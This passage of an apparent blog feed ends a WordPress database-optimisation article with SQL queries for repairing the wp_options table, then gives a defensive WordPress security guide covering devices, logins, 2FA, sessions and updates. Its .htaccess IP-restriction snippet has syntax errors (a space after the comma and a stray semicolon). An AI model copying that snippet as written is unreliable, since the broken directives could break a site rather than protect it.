&lt;li&gt;
&lt;p&gt;Sets a starting point for option_id. For example, the numbering stopped at 3 in the example above, so we set 4 as the new starting point.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Identifies duplicates of option_id with value 0 and updates them with new values ​​starting from the set value&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Removes any remaining rows where option_id is 0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Adds the primary key on option_id&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Make sure to change the default prefix (wp_) to the one your database is using, and set the according number (the code uses 4 as an example).&lt;/p&gt;
&lt;p&gt;After that, run the following queries.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ALTER TABLE wp_options AUTO_INCREMENT = 7;
ALTER TABLE wp_options MODIFY option_id bigint(20) unsigned NOT NULL auto_increment;
CHECK TABLE wp_options;
REPAIR TABLE wp_options;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The queries do the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Sets a new starting value for AUTO_INCREMENT to the last number - in our example, they stopped at 6, so we set 7 as the new starting point&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We turn on auto_increment for the option_id column&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We are doing a check table&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And a repair table&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Again, make sure to change the default prefix (wp_) to the one your database is using. And set the according number (the code uses 7 as an example).&lt;/p&gt;
&lt;p&gt;Before starting this operation, please don’t forget to &lt;strong&gt;back up&lt;/strong&gt; your database or the wp_options table.&lt;/p&gt;
&lt;p&gt;You can run these queries in phpMyAdmin (a tool accessible from your hosting control panel) or with a database management tool like &lt;a href=&quot;https://sequel-ace.com&quot;&gt;Sequel Ace&lt;/a&gt; (Mac) or &lt;a href=&quot;https://www.mysql.com/products/workbench/&quot;&gt;MySQL Workbench&lt;/a&gt; (Windows, Linux, Mac).&lt;/p&gt;
&lt;p&gt;I use Sequel Ace, and I prefer it to phpMyAdmin because it’s faster and more stable. PhpMyAdmin can sometimes crash due to PHP limitations, especially on shared hosting.&lt;/p&gt;
&lt;h2 id=&quot;best-practices-to-keep-your-wordpress-database-clean&quot;&gt;Best practices to keep your WordPress database clean&lt;/h2&gt;
&lt;p&gt;Most plugins and themes don’t clean after themselves, so you need to perform a cleanup occasionally to ensure everything is in tip-top shape.&lt;/p&gt;
&lt;p&gt;Optimization plugins have this feature of scheduling automatic cleaning and reducing the bloat of the database:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;FlyingPress&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;WP Rocket&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Perfmatters&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;Perfmatters Scheduled Optimization&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;1420&quot; height=&quot;1390&quot; src=&quot;https://kiravo.net/_astro/Database-cleaning-interface-Perfmatters--png.DNCmLyIT_125CRm.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;You can set it to weekly, monthly, or whatever schedule you like.&lt;/p&gt;
&lt;p&gt;I also recommend deleting unused plugins &amp;#x26; themes. This also helps from a security point of view. I recommend you don’t keep PHP scripts (plugins, themes, other PHP files) on your server other than what you actively use.&lt;/p&gt;
&lt;p&gt;To remove unused plugins, log in to wp-admin and go to Plugins &gt; Installed plugins. Click on Inactive to view inactive plugins and delete them.&lt;/p&gt;
&lt;p&gt;To remove unused themes go to Appearance &gt; Themes. Click on each theme you want to delete, and then click Delete in the lower right corner.&lt;/p&gt;
&lt;p&gt;I recommend you keep only your active theme and one default theme (if you need to test incompatibilities).&lt;/p&gt;
&lt;p&gt;You can also keep the revisions from piling up by limiting the number of revisions stored in the database, 30, for example. Add the following code to the wp-config.php file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_POST_REVISIONS&apos;, 30 );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Don’t leave comments unapproved - approve them, spam them, or trash them.&lt;/p&gt;
&lt;p&gt;Beware of plugins that store a lot of data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;statistics plugins&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;security plugins&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;anti-spam plugins&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;related posts plugins&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;link tracking plugins&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I’m not saying you shouldn’t use any of the above plugins, but use plugins that offer those functionalities and save data externally, not in your WordPress database.&lt;/p&gt;
&lt;p&gt;If possible, avoid using plugins that add bloat. Keep the WordPress database as light as possible. It’s better to prevent than to treat bloat.&lt;/p&gt;
&lt;p&gt;Effective database optimization ensures fast, reliable, and scalable websites. Implementing best practices can significantly improve database performance while reducing operational costs. Remember, database optimization is not a one-time task but an ongoing process that evolves with your system’s needs and growth.&lt;/p&gt;
&lt;p&gt;Thank you for reading this article on database optimization. I hope it has provided valuable insights and practical tips to enhance the performance of your WordPress databases.&lt;/p&gt;
&lt;p&gt;If you have any questions, feedback, or additional techniques you’d like to share, feel free to leave a comment or reach out. Together, we can build better, faster, and more efficient websites!&lt;/p&gt;</content:encoded><category>Performance</category><author>Andrei Chira</author></item><item><title>WordPress security guide: how to keep your site safe</title><link>https://kiravo.net/blog/wordpress-security/</link><guid isPermaLink="true">https://kiravo.net/blog/wordpress-security/</guid><description>Why WordPress sites get hacked (it&apos;s almost never core), and the habits around updates, accounts, and hosting that keep them clean.</description><pubDate>Tue, 07 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been using WordPress since 2008. Throughout this time, I’ve been fortunate enough to never face a hacked or infected site of my own.&lt;/p&gt;
&lt;p&gt;But luck is not a security strategy. While my experience has been secure, many WordPress site owners worry about hacking and infections, a genuine concern that drives the need for proactive security. The key principle here is that everyone online faces security risks.&lt;/p&gt;
&lt;p&gt;There is no 100% security, and if you have a public site, you’re a target 24/7.&lt;/p&gt;
&lt;p&gt;Attacks aren’t personal. They occur automatically and frequently. This is why you need a proactive, multi-layered security plan.&lt;/p&gt;
&lt;p&gt;Securing WordPress takes more than just installing a security plugin.&lt;/p&gt;
&lt;h2 id=&quot;is-wordpress-secure&quot;&gt;Is WordPress secure?&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;Patchstack Security Stats&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2144&quot; height=&quot;845&quot; src=&quot;https://kiravo.net/_astro/96-of-the-vulnerabilities-were-found-in-plugins.BsgRbGaL_Z1brkAg.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;Yes, WordPress core is secure. Its popularity, though, makes it a prime target for attackers.&lt;/p&gt;
&lt;p&gt;However, most vulnerabilities don’t stem from WordPress itself, contrary to popular belief.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;~96% of vulnerabilities come from plugins&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;~4% come from themes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Only 0.001% come from WordPress core&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Source: &lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2025/&quot;&gt;State of WordPress Security 2025 (Patchstack)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This shows that our main responsibility is to properly manage the elements we add on top of the WordPress core; choosing high-quality plugins and themes and keeping them up-to-date is essential to securing WordPress.&lt;/p&gt;
&lt;h2 id=&quot;what-are-the-real-causes-of-infections&quot;&gt;What are the real causes of infections?&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;Causes of infections&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2017&quot; height=&quot;1272&quot; src=&quot;https://kiravo.net/_astro/pie-chart.jmli-7v9_Z8ohKK.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;A study of 9.5 million WordPress sites found that the biggest risk is unauthorised access, not code vulnerabilities.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;59.9% of sites were infected through stolen session cookies&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;32.9% through vulnerabilities in plugins and themes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;7.2% through compromised access credentials&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Source: &lt;a href=&quot;https://wewatchyourwebsite.com/the-real-attack-vector-responsible-for-60-of-hacked-wordpress-sites-in-2023/&quot;&gt;We watch your website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;With this in mind, protecting session cookies becomes essential to keep your site safe. If stolen, session cookies give attackers unrestricted access, bypassing all login methods.&lt;/p&gt;
&lt;p&gt;Knowing this information, let’s see how we can secure our sites.&lt;/p&gt;
&lt;h2 id=&quot;how-to-secure-your-wordpress-website&quot;&gt;How to secure your WordPress website&lt;/h2&gt;
&lt;p&gt;Based on what we’ve seen, the top priority should be protecting session cookies. Session cookies are bits of data stored by your browser when you log into a site, and they help the website remember who you are during your visit.&lt;/p&gt;
&lt;p&gt;These are obtained outside the WordPress ecosystem by infecting the administrator’s computer with malware that steals cookies from the browser.&lt;/p&gt;
&lt;p&gt;If a session cookie is valid and has not expired, the attacker has full access, regardless of two-factor authentication (2FA) or other login protection methods. Once the cookie is obtained, the attacker can extend the session’s validity and maintain access to the site.&lt;/p&gt;
&lt;p&gt;Our second priority is maintaining a clean and up-to-date WordPress ecosystem, ensuring no security vulnerabilities exist.&lt;/p&gt;
&lt;p&gt;Let’s take it step by step.&lt;/p&gt;
&lt;h3 id=&quot;step-1---secure-your-devices&quot;&gt;Step 1 - Secure your devices&lt;/h3&gt;
&lt;p&gt;If your device gets compromised, your site is at risk, regardless of how well you’ve secured WordPress.&lt;/p&gt;
&lt;p&gt;Let’s explore some practical steps to effectively secure your devices. By strengthening your device security, the risk of unauthorized access to your WordPress site will be greatly reduced.&lt;/p&gt;
&lt;p&gt;The recommendations would be the following:&lt;/p&gt;
&lt;h4 id=&quot;use-an-antivirusantimalware-protection&quot;&gt;Use an antivirus/antimalware protection&lt;/h4&gt;
&lt;p&gt;Install a trusted security solution and run periodic scans to protect your system.&lt;/p&gt;
&lt;p&gt;Malware on your computer can include a keylogger (which records everything you type, including passwords) or a stealer (specialising in stealing session cookies and saved passwords).&lt;/p&gt;
&lt;p&gt;Even with a secure site, if your device is compromised, attackers can gain access. Use trusted tools like &lt;a href=&quot;https://www.bitdefender.com&quot;&gt;Bitdefender&lt;/a&gt; or Windows Defender, and keep them up to date. If unsure, start with Windows Defender on Windows, as it is reliable and built-in. Schedule a complete scan at least once a week.&lt;/p&gt;
&lt;h4 id=&quot;keep-your-system-updated&quot;&gt;Keep your system updated&lt;/h4&gt;
&lt;p&gt;Ensure that your operating system and web browser are up to date.&lt;/p&gt;
&lt;p&gt;Updates aren’t just about new features. A large part of them contain critical security patches that close recently discovered “holes.”&lt;/p&gt;
&lt;p&gt;Hackers actively exploit these known vulnerabilities on outdated systems to gain control over devices. Enable automatic updates for both the operating system and browser. It’s the simplest and most effective method to stay protected without constant effort.&lt;/p&gt;
&lt;h4 id=&quot;be-careful-with-browser-extensions&quot;&gt;Be careful with browser extensions &lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;Chrome Web Store&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;1614&quot; height=&quot;732&quot; src=&quot;https://kiravo.net/_astro/chrome-web-store.3nv_4rkC_2e2wvR.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;Many people don’t know what permissions they grant to browser extensions because they’re not careful, they quickly skip through installation.&lt;/p&gt;
&lt;p&gt;If you read carefully, you’ll be scared, many extensions can read absolutely all page content, even the passwords you enter or card details when you buy something from a site.&lt;/p&gt;
&lt;p&gt;A malicious extension, even if it seems harmless (e.g., a file converter or a video downloader), can steal session cookies, inject ads, or even modify your passwords in the background.&lt;/p&gt;
&lt;p&gt;Only install extensions from official stores (Chrome Web Store, Firefox Add-ons). Before installing, check the developer’s name, read reviews, and look at the number of users. Perform periodic cleaning and uninstall extensions you no longer use.&lt;/p&gt;
&lt;h4 id=&quot;avoid-public-wi-fi-networks&quot;&gt;Avoid public Wi-Fi networks&lt;/h4&gt;
&lt;p&gt;Don’t log into your site’s admin panel when connected to a public, unencrypted Wi-Fi network.&lt;/p&gt;
&lt;p&gt;Wi-Fi networks in cafes, airports, or hotels are insecure by nature. An attacker connected to the same network can intercept unencrypted traffic using “Man-in-the-Middle” techniques.&lt;/p&gt;
&lt;p&gt;Even if the site uses HTTPS, there are risks of being redirected to fake pages or having your data compromised. A much safer alternative is to use a hotspot from your mobile phone.&lt;/p&gt;
&lt;h4 id=&quot;dont-use-public-devices&quot;&gt;Don’t use public devices&lt;/h4&gt;
&lt;p&gt;Avoid accessing the site from public computers or other people’s devices.&lt;/p&gt;
&lt;p&gt;You have no control over the software installed on a computer in a library, hotel, or internet cafe. These can have hardware or software keyloggers that record absolutely everything you do.&lt;/p&gt;
&lt;p&gt;Even a friend’s computer can be infected without them knowing.&lt;/p&gt;
&lt;p&gt;If you’re in an absolute emergency situation, use a private browsing window (Incognito), make sure you log out correctly, and most importantly, change your password as soon as you get to a trusted device.&lt;/p&gt;
&lt;h4 id=&quot;use-caution-online&quot;&gt;Use caution online&lt;/h4&gt;
&lt;p&gt;Be extremely cautious of suspicious links and email attachments. Avoid free social media offers that may contain malicious scripts.&lt;/p&gt;
&lt;p&gt;This is the entry point for phishing and social engineering attacks. An email that appears to be from a bank or social network can trick you into entering your data on a fake login page. A fun quiz on Facebook can request permissions that give it access to your personal data or can run scripts that compromise your browser. &lt;/p&gt;
&lt;p&gt;Hover over links in emails to check actual destinations. Never download executable attachments from untrusted sources. Treat urgent messages with suspicion.&lt;/p&gt;
&lt;h4 id=&quot;always-log-out&quot;&gt;Always log out&lt;/h4&gt;
&lt;p&gt;When you’ve finished working, use the Log Out button.&lt;/p&gt;
&lt;p&gt;Just closing the browser tab doesn’t invalidate the session cookie. The session cookie is a small file stored on your computer that tells the WordPress site you’re authenticated. This cookie remains valid for a period of time, even if you close the browser window.&lt;/p&gt;
&lt;p&gt;If malware infects your computer during this interval, it can steal the cookie and use it to access your site. The Log Out action sends a signal to the server to immediately invalidate that cookie, making it useless.&lt;/p&gt;
&lt;p&gt;Form this habit. Think of the “Log Out” button as locking your house door when you leave. It’s a simple, quick gesture that adds an essential layer of protection.&lt;/p&gt;
&lt;h4 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h4&gt;
&lt;p&gt;Start implementing these recommendations today to safeguard your WordPress site and protect all your users.&lt;/p&gt;
&lt;p&gt;These rules apply to all users who have access to the site, regardless of access level. A compromised author account can become an entry point for an attacker, especially if there’s a privilege escalation vulnerability on the site.&lt;/p&gt;
&lt;p&gt;If a user’s session cookies are stolen and the site has a WordPress plugin installed with a vulnerability that allows privilege escalation, then it’s possible for the attacker to obtain administrator privileges through that user, even if that user wasn’t an admin.&lt;/p&gt;
&lt;p&gt;After ensuring your device is clean, the next step is to protect access to the site.&lt;/p&gt;
&lt;h3 id=&quot;step-2---secure-access-to-the-wordpress-admin&quot;&gt;Step 2 - Secure access to the WordPress admin&lt;/h3&gt;
&lt;p&gt;The next step in protecting your WordPress website is to secure admin access by managing users and permissions, enforcing strong passwords, and restricting access.&lt;/p&gt;
&lt;p&gt;The recommendations would be the following:&lt;/p&gt;
&lt;h4 id=&quot;use-unique-usernames&quot;&gt;Use unique usernames&lt;/h4&gt;
&lt;p&gt;Never use generic usernames like “admin” or ”administrator”. For example, I use obscure footballer names from Pro Evolution Soccer, like Momo Bojang and Afimico Pululu.&lt;/p&gt;
&lt;p&gt;Brute-force attacks often try “admin” as the first attempt, and forcing attackers to guess your username raises the difficulty.&lt;/p&gt;
&lt;p&gt;If your site already has an “admin” account, the correct and safe procedure is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Create a new user account with Administrator role and a unique name (momo_bojang, afimico_pululu, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Log out of the “admin” account&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Log in with the new administrator account&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to the “Users” section and delete the old “admin” account&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; WordPress will prompt you to decide what to do with content created by the “admin” user. Choose the option “&lt;strong&gt;Attribute all content to:&lt;/strong&gt;” and select your new account.&lt;/p&gt;
&lt;p&gt;This way, you won’t lose any articles or pages.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pro tip:&lt;/strong&gt; You can have a user with administrator privileges, which you use only for administrative operations on the site. For content published on the site, consider having a user with only author privileges.&lt;/p&gt;
&lt;h4 id=&quot;use-complex-passwords&quot;&gt;Use complex passwords &lt;/h4&gt;
&lt;p&gt;Use passwords of at least 12-16 characters, combining uppercase letters, lowercase letters, numbers, and symbols. A password manager (integrated in the browser or a dedicated application) is your best friend.&lt;/p&gt;
&lt;p&gt;Length is often more important than complexity. A password like password123! can be cracked in a few seconds. A password like MyDogEatsGreenBiscuits! is a “passphrase” that, although easy for you to remember, would require many years to be cracked by a computer through brute force.&lt;/p&gt;
&lt;p&gt;Ideally, combine length with complexity. Using a password manager (e.g., &lt;a href=&quot;https://bitwarden.com&quot;&gt;Bitwarden&lt;/a&gt;, &lt;a href=&quot;https://1password.com&quot;&gt;1Password&lt;/a&gt;, &lt;a href=&quot;https://proton.me/l/pass-uc1&quot;&gt;Proton Pass&lt;/a&gt;, or those integrated into modern browsers) completely eliminates the headache.&lt;/p&gt;
&lt;p&gt;These tools do three essential things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Generate extremely complex and long passwords (ex: g7#kP$zV9@rT!nE*)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Save these passwords in an encrypted digital vault.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Automatically fill in login details, so you never have to memorise them.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This also prevents password reuse, one of the biggest security mistakes.&lt;/p&gt;
&lt;h4 id=&quot;make-a-periodic-audit&quot;&gt;Make a periodic audit&lt;/h4&gt;
&lt;p&gt;Regularly check the user list and delete inactive or suspicious accounts.&lt;/p&gt;
&lt;p&gt;Ensure each user has the role with the minimum privileges necessary for their activity. Each user account is a potential “door” into your site. Old, forgotten accounts of former employees or collaborators represent a major security risk.&lt;/p&gt;
&lt;p&gt;If the password associated with such an account is weak or if the email address was compromised elsewhere, the account can be taken over and used to attack the site.&lt;/p&gt;
&lt;p&gt;Apply the “&lt;strong&gt;Principle of least privilege&lt;/strong&gt;”.&lt;/p&gt;
&lt;p&gt;Set a calendar alert once every three months to do the following check: Go to &lt;code&gt;Users -&gt; All Users&lt;/code&gt;. Review the list and delete any accounts that are no longer needed. For the remaining accounts, analyse each one’s role. An author only needs the Author role. Someone editing others’ content needs the Editor role.&lt;/p&gt;
&lt;p&gt;Grant the Administrator role only to those who absolutely need to install plugins and themes and modify the site’s basic settings.&lt;/p&gt;
&lt;h4 id=&quot;hide-the-login-url&quot;&gt;Hide the login URL&lt;/h4&gt;
&lt;p&gt;Changing the login address to a custom one can significantly reduce the number of automated brute-force attacks.&lt;/p&gt;
&lt;p&gt;The address &lt;code&gt;yoursite.com/wp-login.php&lt;/code&gt; is the universal standard for WordPress, known to all attackers and bots.&lt;/p&gt;
&lt;p&gt;They constantly attempt to access this address, consuming your server resources and attempting to guess passwords. By changing this address, bots will encounter a non-existent page (“404 Not Found”), and their attack will be halted before it begins. &lt;/p&gt;
&lt;p&gt;Changing the login address is similar to moving your front door to a secret location. A dedicated plugin can make this easy. Try a lightweight plugin like &lt;a href=&quot;https://wordpress.org/plugins/wps-hide-login/&quot;&gt;WPS Hide Login&lt;/a&gt;, which specialises in this one task and does it exceptionally well. &lt;/p&gt;
&lt;p&gt;After activation, go to &lt;code&gt;Settings -&gt; General&lt;/code&gt; and scroll to the bottom of the page. You’ll find a new option called “&lt;code&gt;Login URL&lt;/code&gt;”. Enter something unique and memorable for you (like access-panel, secret-entrance, portal). Save the changes.&lt;/p&gt;
&lt;h4 id=&quot;implement-2fa---two-factor-authentication&quot;&gt;Implement 2FA - Two-factor authentication&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;Fluent Auth&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;1544&quot; height=&quot;500&quot; src=&quot;https://kiravo.net/_astro/banner-1544x500-1.Djzhpm3F_Z2eIu9A.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;Even if your admin password is stolen, 2FA adds a second layer of protection (a code generated by an app on your phone), blocking unauthorised access. Enable 2FA for all administrator accounts and, whenever possible, all users with sensitive roles.&lt;/p&gt;
&lt;p&gt;A simple WordPress plugin that does just this is &lt;a href=&quot;https://wordpress.org/plugins/two-factor/&quot;&gt;Two-Factor&lt;/a&gt;. Another plugin that offers more options but remains focused on securing authentication is &lt;a href=&quot;https://wordpress.org/plugins/fluent-security/&quot;&gt;Fluent Auth&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;protect-against-brute-force-attacks&quot;&gt;Protect against brute-force attacks&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;Login Lockdown&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;1544&quot; height=&quot;500&quot; src=&quot;https://kiravo.net/_astro/banner-1544x500-2.bo1igvqF_2jlqB8.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;You can limit the number of failed login attempts to block automated attacks.&lt;/p&gt;
&lt;p&gt;A “brute-force” attack is exactly what the name suggests: a software robot tries thousands or millions of password combinations per second, hoping to hit the correct one. Without a protection measure, this process can continue indefinitely.&lt;/p&gt;
&lt;p&gt;Besides the obvious security risk, these attacks consume enormous processing resources (CPU) on the server, which can lead to slowdowns or even block legitimate visitors from accessing your site.&lt;/p&gt;
&lt;p&gt;A login attempt limiting plugin works like a guard. After a preset number of incorrect attempts (e.g., 3 or 5) from a specific IP address, the plugin temporarily blocks that IP address for a specified period (e.g., 30 minutes or longer).&lt;/p&gt;
&lt;p&gt;WordPress plugins that can help:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/fluent-security/&quot;&gt;Fluent Auth&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/protect-login/&quot;&gt;Protect Login&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/login-lockdown/&quot;&gt;Login Lockdown&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/loginizer/&quot;&gt;Loginizer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;monitor-website-activity&quot;&gt;Monitor website activity&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;Stream plugin&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;1544&quot; height=&quot;500&quot; src=&quot;https://kiravo.net/_astro/banner-1544x500-3.CRP1zyQ5_ZkvARW.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;It’s essential to know what’s happening on your website.&lt;/p&gt;
&lt;p&gt;Think of an activity log as your site’s surveillance camera system and a “black box.”&lt;/p&gt;
&lt;p&gt;While it does not directly prevent incidents, an activity log is essential for understanding what happened after an event, whether it is a security attack, human error, or a technical issue. Without this log, investigating a problem is like searching for a needle in a haystack while blindfolded.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://wordpress.org/plugins/stream/&quot;&gt;Stream&lt;/a&gt; plugin, for example, should be essential on any site accessed by multiple people. It chronologically records critical actions such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If a new user with the administrator role was created&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Who logged in and when&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;What plugin was activated or deactivated and by whom&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;What article was deleted, and by whom&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can configure email alerts for the most critical events in the plugin. You can get an instant notification whenever an administrator logs in or when a plugin is installed. This can provide the warning you need to react quickly in case of unauthorised activity.&lt;/p&gt;
&lt;h4 id=&quot;use-session-control&quot;&gt;Use session control&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;Sessions plugin screenshot&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;780&quot; height=&quot;349&quot; src=&quot;https://kiravo.net/_astro/sessions-screenshot-2.CM8kgHRG_Zr7WfY.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;For advanced control, actively manage user sessions to ensure strict security.&lt;/p&gt;
&lt;p&gt;A “session” represents each active login to your site. You can be simultaneously logged in from your office computer, home laptop, and phone. Each of these is a distinct session, validated by a cookie. If any of these cookies is stolen, the attacker can use that session to access the system.&lt;/p&gt;
&lt;p&gt;Session control provides visibility and control over active connections. Using a plugin like &lt;a href=&quot;https://wordpress.org/plugins/sessions/&quot;&gt;Sessions&lt;/a&gt; (from the &lt;a href=&quot;https://perfops.one&quot;&gt;PerfOps One&lt;/a&gt; suite), you gain direct control: you can see in real-time who is logged in, from what IP address, and for how long.&lt;/p&gt;
&lt;p&gt;A simultaneous login from your city and China for the same user is a clear alarm signal. If you notice a suspicious login session, you can close it instantly with a single click. This action invalidates that cookie and logs out the attacker.&lt;/p&gt;
&lt;p&gt;You can set a rule preventing a user from having more than one active session. When they log in from a new device, the old session is automatically closed. This simple measure drastically reduces the attack surface, eliminating the risk of “forgotten” cookies on various devices.&lt;/p&gt;
&lt;h4 id=&quot;restricting-access-through-ip&quot;&gt;Restricting access through IP&lt;/h4&gt;
&lt;p&gt;If you’re the only person administering the site, you can block everyone’s access to &lt;code&gt;wp-admin&lt;/code&gt; and &lt;code&gt;wp-login.php&lt;/code&gt; except your IP address.&lt;/p&gt;
&lt;p&gt;In this case, even if your password is cracked or your session cookies are stolen, the attacker can’t log into the site. If you have a dynamic IP address, this method may not be practical, as your IP address can change frequently, potentially locking you out of your own site. Consider using alternative methods for access restriction that accommodate dynamic IPs, such as VPNs with a static IP or IP whitelist services.&lt;/p&gt;
&lt;p&gt;The blocking can be done from the &lt;code&gt;.htaccess&lt;/code&gt; file. You add the following code (replace YOUR_IP_ADDRESS with your IP address, which you can find by accessing our &lt;a href=&quot;https://myip.kiravo.net&quot;&gt;tools site&lt;/a&gt; from your device):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;order deny, allow
deny from all;
allow from YOUR_IP_ADDRESS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Good, we’ve addressed the main cause of infections so far, which is authentication compromise (stolen session cookies + compromised credentials). &lt;/p&gt;
&lt;p&gt;Let’s continue addressing the second cause, exploiting vulnerabilities in plugins and themes.&lt;/p&gt;
&lt;h3 id=&quot;step-3---constant-maintenance-updating-and-cleaning&quot;&gt;Step 3 - Constant maintenance (updating and cleaning) &lt;/h3&gt;
&lt;p&gt;Once access to the WordPress admin interface is secured, we need to ensure that the site’s software has no security vulnerabilities or “cracks.”&lt;/p&gt;
&lt;h4 id=&quot;update-everything-always&quot;&gt;Update everything, always&lt;/h4&gt;
&lt;p&gt;The lifecycle of a vulnerability is a race against time. Once a security issue is discovered and a patch is released, details about the vulnerability often become public. Hackers then start scanning thousands of sites to find those still running the old, unpatched version.&lt;/p&gt;
&lt;p&gt;For most small sites that use only a handful of carefully selected plugins and a high-quality theme, enabling automatic updates works well.&lt;/p&gt;
&lt;p&gt;WordPress allows automatic updates for minor core versions. You can also enable automatic updates for WordPress plugins and themes directly from the admin panel or through the WordPress management tools integrated into your hosting provider’s control panel.&lt;/p&gt;
&lt;p&gt;Automated updates reduce the need for manual intervention; however, we recommend setting up an uptime monitoring service to ensure you’re notified if an update causes an issue.&lt;/p&gt;
&lt;p&gt;For more critical sites, manual control over how and when updates are made is preferable.&lt;/p&gt;
&lt;h4 id=&quot;use-a-staging-environment&quot;&gt;Use a staging environment&lt;/h4&gt;
&lt;p&gt;A staging environment is a vital tool for testing and development purposes.&lt;/p&gt;
&lt;p&gt;It’s a clone of your live site where you can safely test major updates, new plugins, or code modifications. If something breaks on staging, it has no impact on your visitors. Performing updates directly on a live site, especially one that generates revenue, is an unnecessary risk, so make sure you use the staging platform offered by your hosting provider.&lt;/p&gt;
